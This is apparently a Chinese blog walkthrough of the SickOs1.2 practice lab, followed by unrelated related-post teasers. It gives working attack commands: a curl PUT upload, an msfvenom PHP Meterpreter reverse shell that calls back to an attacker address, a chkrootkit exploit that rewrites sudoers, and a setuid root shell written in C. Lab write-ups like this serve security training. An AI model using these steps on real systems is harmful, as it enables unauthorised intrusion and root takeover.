环境

主机发现

端口扫描

漏洞挖掘

GetShell

法一

法二

法三

提权

chkrootkit 漏洞提权

法一

法二

法三

防火墙规则

清痕迹，留后门

环境

链接：https://pan.baidu.com/s/1OI1bYsnS_LBvMIrQCt1yuw
提取码：lish

主机发现

端口扫描

漏洞挖掘

查看网页支持的访问方式：nmap --script=http-methods  --script-args http-methods.url-path=test 192.168.11.147或curl -v -X OPTIONS http://192.168.11.147/test

curl -X PUT -F filedate=@/root/Test.txt http://192.168.11.147/test/Test.txt

GetShell

法一

法二

使用了php/meterpreter_reverse_tcp的反弹模块创建了一个反弹shell的phpmsfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.11.130 LPORT=8080 -f raw > PUT.php

curl -H 'Expect:' -T 'PUT.php' http://192.168.11.147/test/PUT.php

就很无语

法三

提权

chkrootkit 漏洞提权

chkrootkit存在本地提权漏洞

原理：chkrootkit有crontab，会定期以root身份执行/tmp/update文件

法一

法二

echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers' > /tmp/update

法三

shell.c 文件#include<unistd.h>
void main(void)
{
system("chown root:root /tmp/update"); #用系统命令把update给root
system("chmod 4755 /tmp/update"); #给普通用户执行update的权力
setuid(0); #指定root用户
setgid(0); #指定root组
execl("/bin/sh","sh",NULL); #以root身份执行终端
}

防火墙规则

清痕迹，留后门

靶机记录（十三）：SickOs1.2 - IIS 中 PUT 漏洞的利用相关推荐

IIS写权限漏洞原理利用工具手动版
很老的东西了,严格的说不是漏洞,只是设置不善造成的Bug.八百年遇不到一会,结果前几天不幸碰上了. 用JSKY扫描人家的站,结果扫描器居然直接把人家整站给删了= =#(这也是百年不遇吧....囧,我猜 ...
中软实习培训记录十三（0803）
中软实习培训记录十三(0803) 现存问题-数据覆盖为空问题解决日志信息--切面面向切面编程简介日志打印现存问题-数据覆盖为空在前段时间,我们完成了所有功能,又进行了完善.但是我们后续检查 ...
详解IIS中URL重写工具的规则条件(Rule conditions)
本文结合官方文档和相关示例,详细记录了在IIS中URL重写工具下的规则条件(Rule conditions)的相关说明.规则条件允许我们通过额外的逻辑规则来过滤和匹配规则模式( rule patter ...
【译】在ASP.Net和IIS中删除不必要的HTTP响应头
引入每次当浏览器向Web服务器发起一个请求的时,都会伴随着一些HTTP头的发送.而这些HTTP头是用于给Web服务器提供一些额外信息以便于处理请求.比如说吧.如果浏览器支持压缩功能,则浏览器会发送A ...
在ASP.Net和IIS中删除不必要的HTTP响应头
引入每次当浏览器向Web服务器发起一个请求的时,都会伴随着一些HTTP头的发送.而这些HTTP头是用于给Web服务器提供一些额外信息以便于处理请求.比如说吧.如果浏览器支持压缩功能,则浏览器会发送A ...
IIS中部署vue程序，刷新直接404
问题描述:直接访问首页可以刷新,但是在其他页面时候是不能刷新的,原因是路由机制和iis的认知不一致,在centos中配置nginx就ok了,但是在iis中怎么整? 解决方案:一般可以直接解决的方法也就 ...
《Dreamweaver CS6 完全自学教程》笔记第十三章：Dreamweaver 中的 HTML 代码
文章目录第十三章:Dreamweaver 中的 HTML 代码 13.1 HTML 介绍 13.2 HTML 的基本结构 13.2.1 单标签 13.2.2 双标签 13.2.3 标签属性 13.3 ...
IIS中死循环的解决方法 dllhost占用大量内存,cpu占用100%
一.dllhost占用大量内存的可能原因: 1 .感染了的病毒用杀毒软件好好查一查 2.web程序问题 A.在你的程序中,没有及时关闭数据库和记录集的连接很容易造成内存泄漏和sql进程死锁.所以写程 ...
IIS中安卓APP和苹果APP的mimi 类型配置
IIS中安卓APP和苹果APP的mimi 类型配置,经常配置这两个东西,但是每次都记不住,在这里做个记录,方便自己也方便他人: 扩展名是: .apk MIMI类型是:application/vnd. ...

靶机记录（十三）：SickOs1.2 - IIS 中 PUT 漏洞的利用

环境

主机发现

端口扫描

漏洞挖掘

GetShell

法一

法二

法三

提权

chkrootkit 漏洞提权

法一

法二

法三

防火墙规则

清痕迹，留后门

靶机记录（十三）：SickOs1.2 - IIS 中 PUT 漏洞的利用相关推荐

最新文章

热门文章